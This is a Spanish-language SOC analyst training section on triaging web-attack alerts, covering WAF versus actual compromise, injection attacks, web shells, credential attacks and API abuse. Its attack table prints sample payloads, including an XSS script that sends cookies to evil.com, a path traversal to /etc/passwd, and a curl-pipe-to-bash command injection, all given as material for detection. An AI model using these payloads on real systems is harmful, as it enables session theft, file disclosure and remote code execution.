SECCIÓN 4.10

Ataques web y comportamiento sospechoso en aplicaciones

Temas de esta sección:

- Por qué el analista SOC debe entender alertas web
- Fuentes: WAF, web server, aplicación, SIEM, EDR en servidor
- Alerta WAF ≠ explotación exitosa
- SQL Injection, XSS, Path Traversal, Command Injection
- File Upload sospechoso y web shells
- Fuerza bruta, credential stuffing, password spraying
- Abuso de APIs y códigos HTTP útiles

4.10 | Alerta WAF ≠ explotación exitosa

Una alerta del WAF indica que alguien intentó explotar algo. No siempre significa que lo logró:

Scanner automatizado

- Muchos endpoints consultados
- User-Agent de herramienta (sqlmap, Nikto)
- Muchos 404, payloads genéricos
- Muchas técnicas en pocos segundos

Ataque manual o dirigido

- Pocos endpoints específicos
- Requests adaptados a la aplicación
- Cambios después de cada respuesta
- Pruebas personalizadas

Explotación real

- Request sospechoso PERMITIDO
- Error 500 / respuesta anómala
- Archivo creado en servidor
- Comando ejecutado en servidor
- Conexión saliente desde servidor

El analista SOC debe diferenciar intento, ruido y posible compromiso. La evidencia posterior al request define la prioridad:

- 200 + payload: Posible explotación. Revisar actividad posterior.
- 403 + bloqueado: Intento bloqueado. Monitorear origen.
- 500 + payload: Aplicación procesó input. Puede indicar error explotable.
- Proceso en servidor: La más crítica: hay ejecución en el sistema.

Los cinco ataques más importantes para el analista SOC:

SQL Injection	Manipula consultas a la base de datos. Puede saltear autenticación, leer o extraer datos. Payload: ' OR '1'='1 / UNION SELECT username,password FROM users	⚠ *WAF Alert Only + respuesta 200 + requests a /export → escalar.*
XSS (Cross-Site Scripting)	Inyecta scripts en páginas vistas por otros usuarios. Puede robar cookies o sesiones. Payload: <script>document.location='hxxp://evil.com/steal?c='+document.cookie</script>	⚠ *Stored XSS es más crítico: el payload persiste y afecta a múltiples usuarios.*
Path Traversal	Accede a archivos fuera del directorio esperado de la aplicación. Payload: GET /download?file=../../../../etc/passwd	⚠ *Respuesta 200 con tamaño significativo → posible lectura de archivo sensible.*
Command Injection	Logra que la aplicación ejecute comandos del sistema operativo. Payload: ; whoami / && curl hxxp://domain.com/payload.sh | bash	⚠ *WAF Alert Only + EDR muestra apache2→bash→curl → escalar INMEDIATAMENTE.*
Web Shell	Archivo malicioso subido al servidor que permite ejecutar comandos via HTTP. Payload: GET /uploads/shell.php?cmd=whoami → apache2→cmd.exe→whoami	⚠ *Proceso web creó proceso hijo → siempre escalar.*

4.10 | Fuerza bruta, credential stuffing y password spraying

Tres técnicas de ataque a credenciales — distintas señales en SOC:

Fuerza bruta	Qué hace: Muchos intentos de password contra una cuenta. Señal: Cientos de intentos fallidos en una cuenta · Misma IP origen · Login exitoso después de muchos fallos	SOC: Alto volumen de auth failures en logs · Alerta de Account Lockout · Login exitoso final es sospechoso
Credential Stuffing	Qué hace: Usa listas de user:pass filtradas de otros breaches. Señal: Intentos en muchas cuentas distintas · Éxitos dispersos · User-Agents de herramienta o bot · IPs rotando	SOC: Muchas cuentas con 1-2 intentos fallidos · Éxitos desde IPs no habituales · Correlacionar con Threat Intel
Password Spraying	Qué hace: Prueba pocas passwords comunes en muchas cuentas para evitar bloqueos. Señal: Mismo password probado en 50+ cuentas · Pocos intentos por cuenta (evita lockout) · Horario específico	SOC: Patrón difícil de detectar por cuenta individual · Requiere correlación cross-account en SIEM

Las APIs son vectores frecuentes y los códigos HTTP son evidencia clave del impacto:

Abuso de APIs — señales en SOC

- Muchas requests a endpoints sensibles (/users, /admin, /export)
- Mismo API Key desde múltiples IPs
- Rate limit hit repetidamente (429)
- Requests con user-agent de herramienta (Burp, postman automatizado)
- Enumeración: requests a /api/v1/1, /api/v1/2, /api/v1/3...
- IDOR: acceso a recursos de otro usuario modificando ID

⚠ API abuse sin WAF puede pasar desapercibido — revisar app logs

Códigos HTTP útiles para el analista SOC

200 OK: request exitoso — verificar si el payload fue procesado
403 Forbidden: bloqueado — monitorear origen
404 Not Found: puede indicar enumeración
429 Too Many Requests: rate limit — posible ataque automatizado
500 Server Error: la app procesó un input inesperado — investigar
302 Redirect: puede indicar open redirect o phishing

⚠ Un 200 con payload de SQLi o Command Injection es crítico

Tip clave: combinar WAF logs con app logs y EDR del servidor da la imagen completa. WAF puede bloquear pero el app log muestra qué procesó la aplicación.